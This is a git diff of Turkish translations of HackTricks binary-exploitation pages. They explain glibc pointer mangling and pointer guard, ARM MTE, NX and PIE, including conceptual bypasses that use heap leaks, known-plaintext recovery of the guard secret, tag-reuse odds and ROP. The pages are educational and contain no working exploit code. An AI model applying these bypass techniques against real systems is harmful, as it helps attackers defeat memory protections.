Önceden, saldırganlar, **kesin adresleri bilmeden** heap parçalarını farklı konumlara yönlendirmek için işaretçinin bir kısmını değiştirebilirdi, bu teknik, sızıntısız **House of Roman** sömürüsünde açıkça görülebilir. İşaretçi karıştırma ile, bu tür bağıl üzerine yazmalar **artık bir heap sızıntısı gerektirir**, başarılı olma olasılığını büyük ölçüde azaltarak. +2. **Tcache Bin/Fastbin Saldırılarının Zorlaştırılması**: Fastbin veya tcache girişlerini manipüle ederek işlev işaretçilerini (örneğin, `__malloc_hook`) üzerine yazan yaygın saldırılar engellenir. Örneğin, bir saldırı, bir LibC adresi sızdırmayı, bir parçayı tcache bölmesine serbest bırakmayı ve ardından Fd işaretçisini `__malloc_hook`'a yönlendirmek için üzerine yazmayı içerebilir. İşaretçi karıştırma ile, bu işaretçilerin doğru şekilde karıştırılması gerekmektedir, **doğru manipülasyon için bir heap sızıntısı gerektirir**, böylece sömürü engeli yükseltilir. +3. **Heap Sızıntıları İçin Heap Sızıntıları Gerekliliği**: Sahte bir parça oluşturmak artık heap sızıntısı gerektiren non-heap alanlarda (örneğin, yığın, .bss bölümü veya PLT/GOT) da gereklidir. Bu, bu alanların sömürülmesinin karmaşıklığını artırır, LibC adreslerini manipüle etme gereksinimi gibi. +4. **Heap Adreslerinin Sızdırılması Daha Zor Hale Gelir**: İşaretçi karıştırma, fastbin ve tcache bölümlerindeki Fd işaretçilerinin heap adres sızıntıları için kullanışlılığını kısıtlar. Ancak, sıralanmamış, küçük ve büyük bölümlerdeki işaretçiler karıştırılmamış kalır, bu nedenle hala adres sızıntıları için kullanılabilirler. Bu değişiklik, saldırganları bu bölümlerde sömürülebilir bilgileri keşfetmeye zorlar, ancak bazı teknikler hala sızıntıdan önce işaretçilerin çözülmesine izin verebilir, ancak kısıtlamalarla. ### **Heap Sızıntısı ile İşaretçilerin Çözülmesi** @@ -64,29 +65,29 @@ Bu karışık işaretçi, programların kullandığı adresleri rastgele hale ge **`Yeni_Ptr = (L >> 12) XOR P`** -Burada **L**, depolama konumu ve **P**, Fd işaretçisidir. **L**'nin 12 bit sağa kaydırılmasıyla, **XOR**'un doğası gereği, kendisiyle XOR işlemi yapıldığında 0 çıktığından dolayı, **P**'nin en üst 12 bitini elde edersiniz. +Burada **L**, depolama konumu ve **P**, Fd işaretçisidir. **L**'nin 12 bit sağa kaydırılmasıyla, **XOR**'un doğası gereği, kendileriyle XOR işlemi yapıldığında 0 çıktığında, **P**'nin en üst 12 bitini elde edersiniz. **Algoritmadaki Ana Adımlar:** 1. **En Önemli Bitlerin Başlangıç Sızıntısı**: Kaydırılmış **L**'yi **P** ile XORladığınızda, kaydırılmış **L**'nin sıfır olacağından dolayı, **P**'nin ilgili bitleri değişmeden kalır ve **P**'nin en üst 12 bitini elde edersiniz. -2. **İşaretçi Bitlerinin Kurtarılması**: XOR tersine çevrilebilir olduğundan, sonucu ve bir operatörü bildiğinizde diğer operatörü hesaplayabilirsiniz. Bu özellik, karışık işaretçinin parçalarını sırayla XORlayarak **P**'nin tam kümesini çıkarmak için kullanılır. -3. **İteratif Karıştırma Çözme**: İşlem, her seferinde önceki adımdan elde edilen **P**'nin yeni keşfedilen bitlerini kullanarak tekrarlanır, tüm bitler kurtarıldığında. -4. **Belirlenen Bitlerin İşlenmesi**: Kaydırma nedeniyle **L**'nin son 12 biti kaybolur, ancak bunlar belirlidir ve işlem sonrası yeniden oluşturulabilir. +2. **İşaretçi Bitlerinin Kurtarılması**: XOR tersine çevrilebilir olduğundan, sonucu ve bir operatörü bildiğinizde diğer operatörü hesaplayabilirsiniz. Bu özellik, karışık işaretçinin parçalarının tamamını, karışık işaretçinin parçalarının parçalarını sırayla XORlayarak çıkarmanızı sağlar. +3. **İteratif Karıştırma Çözme**: İşlem, her seferinde önceki adımdan elde edilen **P**'nin yeni keşfedilen bitlerini kullanarak tekrarlanır ve tüm bitler kurtarıncaya kadar devam eder. +4. **Belirlenmiş Bitlerin İşlenmesi**: Kaydırma nedeniyle **L**'nin son 12 biti kaybolur, ancak bunlar belirlidir ve işlem sonrası yeniden oluşturulabilir. Bu algoritmanın bir uygulamasını burada bulabilirsiniz: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) ## Pointer Guard -Pointer guard, glibc'de kullanılan bir sömürü koruma tekniğidir ve özellikle `atexit()` gibi kütüphane çağrıları tarafından kaydedilen işlev işaretçilerini korumak için kullanılır. Bu koruma, işaretçileri `fs:0x30` konumundaki bir gizli değerle XOR işlemine tabi tutarak ve bit düzeyinde bir döndürme işlemi uygulayarak karıştırarak gerçekleştirilir. Bu mekanizma, saldırganların işlev işaretçilerini üzerine yazarak kontrol akışını ele geçirmesini engellemeyi amaçlar. +Pointer guard, glibc'de kullanılan bir sömürü koruma tekniğidir ve özellikle `atexit()` gibi kütüphane çağrıları tarafından kaydedilen işlev işaretçilerini korumak için kullanılır. Bu koruma, işaretçileri `fs:0x30` konumundaki bir gizli değerle XOR işlemine tabi tutarak ve bit düzeyinde bir döndürme işlemi uygulayarak karıştırma işlemi içerir. Bu mekanizma, saldırganların işlev işaretçilerini üzerine yazarak kontrol akışını ele geçirmesini engellemeyi amaçlar. ### **Pointer Guard'ı Bir Sızıntı ile Atlatma** -1. **Pointer Guard İşlemlerini Anlama:** İşaretçilerin karıştırılması `PTR_MANGLE` makrosu kullanılarak yapılır. Bu makro işaretçiyi bir 64 bitlik gizli değerle XOR'lar ve ardından 0x11 bitlik bir sola döndürme işlemi gerçekleştirir. Orijinal işaretçiyi kurtarmak için ters işlem `PTR_DEMANGLE` tarafından gerçekleştirilir. -2. **Saldırı Stratejisi:** Saldırı, bilinen-metin yaklaşımına dayanır, saldırganın karıştırma için kullanılan gizli değeri çıkarmak için bir işaretçinin hem orijinal hem de karıştırılmış sürümlerini bilmelidir. +1. **Pointer Guard İşlemlerini Anlama:** İşaretçilerin karıştırılması, işaretçilerin `PTR_MANGLE` makrosunu kullanarak 64 bitlik bir gizli değerle XOR işlemine tabi tutulması ve ardından 0x11 bitlik bir sola döndürme işlemiyle gerçekleştirilir. Orijinal işaretçiyi kurtarmak için ters işlem, `PTR_DEMANGLE` tarafından ele alınır. +2. **Saldırı Stratejisi:** Saldırı, bilinen-metin yaklaşımına dayanır, saldırganın karıştırma için kullanılan gizli değeri çıkarmak için bir işaretçinin hem orijinal hem de karıştırılmış sürümlerini bilmeleri gerekmektedir. 3. **Bilinen Metinlerin Sömürülmesi:** -* **Sabit İşlev İşaretçilerini Tanımlama:** glibc kaynak kodunu inceleyerek veya `__libc_pthread_functions` gibi başlatılmış işlev işaretçisi tablolarını inceleyerek, saldırgan öngörülebilir işlev işaretçileri bulabilir. -* **Gizli Değeri Hesaplama:** `__pthread_attr_destroy` gibi bilinen bir işlev işaretçisi ve işlev işaretçisi tablosundan karıştırılmış sürümü kullanarak, gizli değer, karıştırılmış işaretçiyi ters döndürerek (sağa döndürme) ve ardından işlevin adresiyle XOR işlemi yaparak hesaplanabilir. -4. **Alternatif Metinler:** Saldırgan, bellekte tanınabilir desenler oluşturup oluşturmadığını görmek için bilinen değerlerle (örneğin 0 veya -1) işaretçileri karıştırmayı deneyebilir; bu desenler bellek dökümlerinde bulunduğunda gizli değeri ortaya çıkarabilir. -5. **Pratik Uygulama:** Gizli değeri hesapladıktan sonra, bir saldırgan libc taban adresini ve keyfi bellek konumlarını okuma yeteneği ile çoklu iş parçacıklı bir uygulamada Pointer Guard korumasını atlayabilir, işaretçileri kontrol edilmiş bir şekilde manipüle edebilir. +* **Sabit İşlev İşaretçilerini Tanımlama:** glibc kaynak kodunu veya başlatılmış işlev işaretçisi tablolarını (örneğin `__libc_pthread_functions`) inceleyerek, bir saldırgan öngörülebilir işlev işaretçileri bulabilir. +* **Gizli Değeri Hesaplama:** `__pthread_attr_destroy` gibi bilinen bir işlev işaretçisini ve işlev işaretçisi tablosundan karıştırılmış sürümünü kullanarak, gizli değer, karıştırılmış işaretçiyi ters döndürerek (sağa döndürme) ve ardından işlevin adresiyle XOR işlemi yaparak hesaplanabilir. +4. **Alternatif Metinler:** Saldırgan, bellekte tanınabilir desenler oluşturup oluşturmadığını görmek için bilinen değerlerle (örneğin 0 veya -1) işaretçileri karıştırmayı deneyebilir; bu desenler bellek dökümlerinde bulunduğunda, gizli değeri ortaya çıkarabilir. +5. **Pratik Uygulama:** Gizli değeri hesapladıktan sonra, bir saldırgan, libc taban adresini bilerek ve keyfi bellek konumlarını okuyabilme yeteneğiyle, işaretçileri kontrol edilmiş bir şekilde manipüle edebilir ve temelde Pointer Guard korumasını atlayabilir. ## Referanslar diff --git a/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index 71ae78ace..8e8560e6a 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -1,28 +1,29 @@ # Bellek Etiketleme Uzantısı (MTE) +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler -**Bellek Etiketleme Uzantısı (MTE)**, **önbellek taşmaları ve kullanımdan sonra serbest bırakılan güvenlik açıklarını tespit ederek ve önleyerek**, yazılım güvenilirliğini ve güvenliğini artırmak amacıyla tasarlanmıştır. MTE, **ARM** mimarisinin bir parçası olarak, her bellek tahsisine **küçük bir etiket eklemek** ve o belleği işaretleyen her işaretçiye **ilgili bir etiket eklemek** için bir mekanizma sağlar. Bu yaklaşım, çalışma zamanında yasadışı bellek erişimlerinin tespitine olanak tanır ve bu tür güvenlik açıklarının kötü amaçlı kod yürütmek için kullanılma riskini önemli ölçüde azaltır. +**Bellek Etiketleme Uzantısı (MTE)**, **bellek ile ilgili hataları tespit edip önleyerek**, örneğin tampon taşmaları ve kullanımdan sonra serbest bırakılan güvenlik açıklarını geliştirme amacıyla tasarlanmıştır. MTE, **ARM** mimarisinin bir parçası olarak, her bellek tahsisine **küçük bir etiket eklemek** ve o belleği işaretleyen **her işaretçiye karşılık gelen bir etiket** sağlayan bir mekanizma sunar. Bu yaklaşım, yasadışı bellek erişimlerinin çalışma zamanında tespit edilmesine olanak tanır ve bu tür güvenlik açıklarının keyfi kod yürütme için sömürülme riskini önemli ölçüde azaltır. ### **Bellek Etiketleme Uzantısı Nasıl Çalışır** -MTE, belleği **küçük, sabit boyutlu bloklara böler ve her bloğa bir etiket atar**, genellikle birkaç bit boyutunda. +MTE, belleği **küçük, sabit boyutlu bloklara böler ve her bloğa bir etiket atar**, genellikle birkaç bit boyutunda. -Bir işaretçi o belleği işaretlemek üzere oluşturulduğunda, aynı etiketi alır. Bu etiket, bir bellek işaretçisinin **kullanılmayan bitlerinde** saklanır ve etiketi ilgili bellek bloğuna bağlar. +Bir işaretçi o belleği işaret etmek üzere oluşturulduğunda, aynı etiketi alır. Bu etiket, bir bellek işaretçisinin **kullanılmayan bitlerinde** saklanır ve etiketi ilgili bellek bloğuna bağlar.

https://www.youtube.com/watch?v=UwMt0e_dC_Q

@@ -40,9 +41,9 @@ Bu nedenle, bu, **16 farklı etiket değerine** kadar olanak tanır. Her **16B fiziksel belleğin** karşılık gelen bir **bellek etiketi** vardır. -Bellek etiketleri, **özel bir RAM bölgesinde** saklanır (normal kullanım için erişilemez). 16B bellek etiketleri için 4 bit etiketlere kadar RAM'ın %3'üne kadar. +Bellek etiketleri, **özel bir RAM bölgesinde** saklanır (normal kullanım için erişilemez). Her 16B bellek etiketi için 4 bit etiketlere sahip olmak, RAM'ın %3'üne kadar olanak tanır. -ARM, bu etiketleri özel RAM bellekte manipüle etmek için aşağıdaki talimatları tanıtır: +ARM, bu etiketleri özel RAM belleğinde işlemek için aşağıdaki talimatları tanıtır: ``` STG [], # Store Allocation (memory) Tag LDG , [] Load Allocatoin (memory) Tag @@ -58,7 +59,7 @@ Bu en yavaş ve en güvenlidir. ### Asenkron -CPU etiketleri **asenkron olarak** kontrol eder ve bir eşleşme bulunduğunda bir istisna bitini bir sistem kaydında ayarlar. Bu öncekinden **daha hızlı**dır ancak eşleşmeye neden olan tam talimatı belirleyemez ve istisnayı hemen oluşturmaz, saldırganın saldırısını tamamlaması için bir süre verir. +CPU, etiketleri **asenkron olarak** kontrol eder ve bir eşleşme bulunduğunda bir istisna bitini bir sistem kaydında ayarlar. Bu öncekinden **daha hızlı**dır ancak eşleşmeye neden olan tam talimatı belirleyemez ve istisnayı hemen oluşturmaz, saldırganın saldırısını tamamlaması için bir süre verir. ### Karışık @@ -67,40 +68,26 @@ CPU etiketleri **asenkron olarak** kontrol eder ve bir eşleşme bulunduğunda b ## Uygulama ve Tespit Örnekleri Donanım Etiket Tabanlı KASAN olarak adlandırılan, MTE tabanlı KASAN veya çekirdek MTE.\ -Çekirdek tahsis edicileri (`kmalloc` gibi) bu modülü **çağıracak** ve kullanılacak etiketi (rastgele) hazırlayacak ve ayrılan çekirdek alanına ekleyecek ve döndürülen işaretçiye ekleyecektir. +Çekirdek tahsis edicileri (`kmalloc` gibi) **bu modülü çağıracak** ve kullanılacak etiketi (rastgele) hazırlayacak ve ayrılan çekirdek alanına ekleyecek ve döndürülen işaretçiye ekleyecektir. -Talep edilen boyut için yeterli bellek granülü **yalnızca işaretleyecektir** (her biri 16B). Bu nedenle, talep edilen boyut 35 ise ve 60B'lik bir plak verildiyse, ilk 16\*3 = 48B'yi bu etiketle işaretleyecek ve **geri kalanı** sözde **geçersiz bir etiketle (0xE)** işaretleyecektir. +Talep edilen boyut için yeterli bellek granülü (her biri 16B) **yalnızca işaretleyecektir**. Bu nedenle, talep edilen boyut 35 ise ve 60B'lik bir plak verildiyse, ilk 16\*3 = 48B'yi bu etiketle işaretleyecek ve **geri kalanı** sözde **geçersiz bir etiketle (0xE)** işaretleyecektir. -Etiket **0xF**, **tüm işaretçiyi eşleştirir**. Bu işaretçiye sahip bir bellek, belleğine erişmek için **herhangi bir etiketin kullanılmasına izin verir** (eşleşmeler yok). Bu, saldırıyı algılamasını önleyebilir. Eğer bu etiket saldırılan bellekte kullanılıyorsa, MET'in saldırıyı algılamasını önleyebilir. +Etiket **0xF**, **tüm işaretçiyi eşleştirir**. Bu işaretçiye sahip bir bellek, belleğine erişmek için **herhangi bir etiketi kullanmasına izin verir** (eşleşmeler yok). Bu, saldırıyı algılamasını önleyebilir MET, bu etiketin saldırılan bellekte kullanılması durumunda. -Bu nedenle, yalnızca **0xE ve 0xF** ayrılmış olduğundan, etiket oluşturmak için kullanılabilecek **14 değer** vardır ve etiketlerin **yeniden kullanılma olasılığı** 1/17 -> yaklaşık **%7**'dir. +Bu nedenle, yalnızca **14 değer** kullanılabilir etiket oluşturmak için 0xE ve 0xF ayrılmış olduğundan, etiketleri **yeniden kullanma olasılığı** 1/17 -> yaklaşık **%7**. -Çekirdek **geçersiz etiket granülüne** erişirse, **uyumsuzluk** algılanır. Başka bir bellek konumuna erişirse, belleğin **farklı bir etikete** (veya geçersiz etikete) sahip olması durumunda uyumsuzluk algılanır. Saldırgan şanslıysa ve bellek aynı etiketi kullanıyorsa, algılanmaz. Olasılıklar yaklaşık %7'dir. +Çekirdek **geçersiz etiket granülüne** erişirse, **uyumsuzluk** algılanır. Başka bir bellek konumuna erişirse, belleğin **farklı bir etikete** (veya geçersiz etikete) sahip olması durumunda uyumsuzluk algılanır. Saldırgan şanslıysa ve bellek aynı etiketi kullanıyorsa, algılanmaz. Şanslar yaklaşık %7'dir. -Başka bir hata, ayrılan belleğin **son granülünde** meydana gelir. Uygulama 35B istediğinde, 32 ile 48 arasındaki granül verilir. Bu nedenle, 36 ile 47 arasındaki baytlar aynı etiketi kullanıyor olabilir ancak istenmemiştir. Saldırgan bu ekstra baytlara erişirse, bu algılanmaz. +Başka bir hata, ayrılan belleğin **son granülünde** meydana gelir. Uygulama 35B istediğinde, 32 ile 48 arasından granül verildi. Bu nedenle, 36 ile 47 arasındaki baytlar aynı etiketi kullanıyor olabilir ancak istenmemiştir. Saldırgan bu ekstra baytlara erişirse, bu **algılanmaz**. -**`kfree()`** çalıştırıldığında, bellek geçersiz bellek etiketiyle tekrar etiketlenir, bu nedenle bir **kullanımdan sonra tekrar kullanım** durumunda belleğe erişildiğinde, **uyumsuzluk algılanır**. +**`kfree()`** çalıştırıldığında, bellek geçersiz bellek etiketiyle tekrar etiketlenir, bu nedenle bir **kullanımdan sonra serbest bırakma** durumunda, belleğe tekrar erişildiğinde **uyumsuzluk algılanır**. -Ancak, bir kullanımdan sonra tekrar kullanım durumunda, aynı **parça ÖNCEKİSİYLE AYNI etiketle** yeniden tahsis edilirse, bir saldırgan bu erişimi kullanabilir ve bu algılanmaz (yaklaşık %7 olasılık). +Ancak, bir kullanımdan sonra serbest bırakma durumunda, aynı **parça öncekiyle AYNI etiketle** tekrar tahsis edilirse, bir saldırgan bu erişimi kullanabilir ve bu **algılanmaz** (yaklaşık %7 şans). -Ayrıca, yalnızca **`slab` ve `page_alloc`** etiketli belleği kullanır, ancak gelecekte bu, `vmalloc`, `stack` ve `globals`da da kullanılacaktır (videonun çekildiği sırada bunlar hala kötüye kullanılabilir). +Ayrıca, yalnızca **`slab` ve `page_alloc`** etiketli bellek kullanır ancak gelecekte bu, `vmalloc`, `stack` ve `globals`da da kullanılacaktır (videonun çekildiği sırada bunlar hala kötüye kullanılabilir). Bir **uyumsuzluk algılandığında**, çekirdek **çökme yapacak** ve daha fazla kötüye kullanım ve saldırı denemesini önlemek için (MTE yanlış pozitiflere sahip değildir). ## Referanslar * [https://www.youtube.com/watch?v=UwMt0e\_dC\_Q](https://www.youtube.com/watch?v=UwMt0e\_dC\_Q) - -
- -Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! - -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destekleyin.** - -
diff --git a/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 421e377cc..5904e055e 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -1,40 +1,42 @@ # No-exec / NX +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR gönderin.** +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler -**No-Execute (NX)** biti, Intel terminolojisinde **Execute Disable (XD)** olarak da bilinen, **buffer overflow** saldırılarının etkilerini **azaltmak** amacıyla tasarlanmış donanım tabanlı bir güvenlik özelliğidir. Uygulandığında ve etkinleştirildiğinde, **yürütülebilir kod** için amaçlanan bellek bölgeleri ile **veri** için amaçlananlar arasında ayrım yapar, örneğin **stack** ve **heap** gibi. Temel fikir, saldırganın kötü niyetli kodu örneğin stack'e yerleştirerek ve yürütme akışını ona yönlendirerek buffer overflow zafiyetleri aracılığıyla kötü niyetli kodu yürütmesini engellemektir. +**No-Execute (NX)** biti, Intel terminolojisinde **Execute Disable (XD)** olarak da bilinen, **buffer overflow** saldırılarının etkilerini **azaltmak** amacıyla tasarlanmış donanım tabanlı bir güvenlik özelliğidir. Uygulandığında ve etkinleştirildiğinde, **yürütülebilir kod** için amaçlanan bellek bölgeleri ile **veri** için amaçlanan bölgeleri, örneğin **yığın** ve **heap** gibi ayırt eder. Temel fikir, saldırganın kötü amaçlı kodu yığın gibi bir alana yerleştirerek ve yürütme akışını buraya yönlendirerek buffer overflow zafiyetleri aracılığıyla kötü amaçlı kodu yürütmesini engellemektir. ## Atlatmalar -* Bu korumayı atlamak için [**ROP**](../rop-return-oriented-programing/) gibi teknikler kullanmak mümkündür, bu sayede zaten ikili dosyada bulunan yürütülebilir kod parçalarını yürüterek korumayı atlayabilirsiniz. +* Bu korumayı atlamak için [**ROP**](../rop-return-oriented-programing/) gibi teknikler kullanmak mümkündür, böylece zaten ikili dosyada bulunan yürütülebilir kod parçalarını yürütebilirsiniz. * [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) * [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) * **Ret2...** +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR gönderin.** +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 9876eeeb7..65f4d2a67 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -1,23 +1,58 @@ # PIE +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -- [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -- **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -- **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
+{% endhint %} ## Temel Bilgiler -PIE olarak derlenen bir ikili, yani **Konum Bağımsız Yürütülebilir**, **programın her çalıştırıldığında farklı bellek konumlarına yüklenebileceği** anlamına gelir, sabitlenmiş adresleri önler. +PIE olarak derlenen bir ikili dosya, yani **Pozisyon Bağımsız Yürütülebilir**, **programın her çalıştırıldığında farklı bellek konumlarına yüklenebileceği** anlamına gelir, sabitlenmiş adresleri önler. -Bu ikilileri sömürmek için hile, **göreceli adresleri** sömürmekte yatar - programın parçaları arasındaki ofsetler, mutlak konumlar değişse bile aynı kalır. **PIE'yi atlatmak için sadece bir adres sızdırmanız** gerekir, genellikle **yığın** kullanarak format dizesi saldırıları gibi zayıflıklardan birini kullanarak. Bir adres elde ettikten sonra, diğerlerini **sabit ofsetlerine** göre hesaplayabilirsiniz. +Bu ikili dosyaları sömürmek için hile, **göreceli adresleri** sömürmekte yatar - programın parçaları arasındaki ofsetler, mutlak konumlar değişse bile aynı kalır. **PIE'yi atlatmak için sadece bir adres sızdırmanız** yeterlidir, genellikle **yığın** kullanarak format dizesi saldırıları gibi zafiyetlerden yararlanılır. Bir adres elde ettikten 